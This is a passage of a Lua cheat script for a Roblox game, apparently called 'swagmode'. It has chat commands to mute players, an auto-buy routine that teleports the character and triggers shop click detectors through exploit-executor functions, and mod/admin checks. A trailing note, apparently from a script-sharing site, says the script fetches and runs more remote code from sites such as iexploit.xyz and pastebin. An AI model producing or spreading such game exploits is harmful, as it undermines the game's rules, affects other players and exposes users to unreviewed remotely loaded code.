local success,err = pcall(mute)
end
end))
if CMD == 'unmute' then
if tostring(arguments[2]) == 'all' then
muteingnew = false
for _,v in pairs(Players:GetChildren()) do
if table.find(muted, v.Name) then
local removemute = table.find(muted, v.Name)
table.remove(muted, removemute)
print('unmuteed ' .. v.Name)
end
end
else
local plrtoview = arguments[2]
if plrtoview then
local ptv = findPlayer(plrtoview)
if ptv then
if table.find(muted, ptv.Name) then
local removemute = table.find(muted, ptv.Name)
table.remove(muted, removemute)
print('unmuteed ' .. ptv.Name)
end
end
end
end
end
if CMD == 'buy' then
local itemtobuy = nil
local itemtobuyammofor = nil
local ammomodel = nil
local oldpos = player.Character.HumanoidRootPart.CFrame
local Cash = player.DataFolder.Currency.Value
for i,v in pairs(game:GetService('Workspace').Ignored.Shop:GetChildren()) do
if itemtobuy == nil then
if string.find(string.lower(v.Name), arguments[2]) and not string.find(v.Name, 'Ammo') and itemtobuy == nil then
if arguments[2] == 'shotgun' then
itemtobuy = game:GetService("Workspace").Ignored.Shop["[Shotgun] - $1250"]
elseif arguments[2] == 'tacshotgun' or arguments[2] == 'tacticalshotgun' then
itemtobuy = game:GetService("Workspace").Ignored.Shop["[TacticalShotgun] - $1750"]
elseif arguments[2] == 'key' then
itemtobuy = game:GetService("Workspace").Ignored.Shop["[Key] - $125"]
else
itemtobuy = v
end
end
if itemtobuy then
if string.find(itemtobuy.Name, 'Mask') then
itemtobuy = game:GetService("Workspace").Ignored.Shop["[Surgeon Mask] - $25"]
end
local pricesplit = string.split(itemtobuy.Name, '$')
local itemnamesplit = string.split(itemtobuy.Name, '-')
local price = tonumber(pricesplit[2])
local name = string.gsub(tostring(itemnamesplit[1]), " ", "")
print(name)
local function buygun()
wait()
Cash = player.DataFolder.Currency.Value
player.Character.HumanoidRootPart.CFrame = itemtobuy.Head.CFrame
fireclickdetector(itemtobuy.ClickDetector)
end
if name == '[MoneyGun]' then
repeat buygun() until player.Backpack:FindFirstChild('[Money Gun]') or Cash < price
elseif name == '[Double' then
repeat buygun() until player.Backpack:FindFirstChild('[Double-Barrel SG]') or Cash < price
elseif name == '[SurgeonMask]' then
repeat buygun() until player.Backpack:FindFirstChild('[Surgeon Mask]') or Cash < price
elseif name ~= '[MediumArmor]' then
repeat buygun() until player.Backpack:FindFirstChild(name) or Cash < price
else
repeat buygun() until player.Backpack:FindFirstChild(name) or Cash < price or player.Character.BodyEffects.Armor.Value == 100
end
player.Character.HumanoidRootPart.CFrame = oldpos
end
end
end
end
end
player.Chatted:Connect(function(message,recipient)
message = string.lower(message)
local splitString = message:split(" ") -- Will Split String when space
local slashCommand = splitString[1]
local cmd = slashCommand:split(prefix)
local cmdName = cmd[2]
if commands[cmdName] then
local arguments = {}
for i = 2, #splitString, 1 do
table.insert(arguments,splitString[i])
end
commands[cmdName](arguments)
end
end)
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------
wait(5)
if ModCheck[player.UserId] then
IsMod = true
DisableMod = true
announce('Granted Mod Powers', 'you are immune to mod powers | type /e noshield or /e shield to toggle', 10)
elseif table.find(swagmins, player.UserId) then
announce('Granted Admin Powers', 'hi :3', 10)
IsMod = false
DisableMod = false
else
IsMod = false
DisableMod = false
announce('Commands Loaded', 'join discord.gg/swagmode for a list of commands', 10)
end
end)
if err then print(err) endLoads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: iexploit.xyz, pastebin.com, raw.githubusercontent.com, games.roblox.com.
swagmode looooooooooooooooooool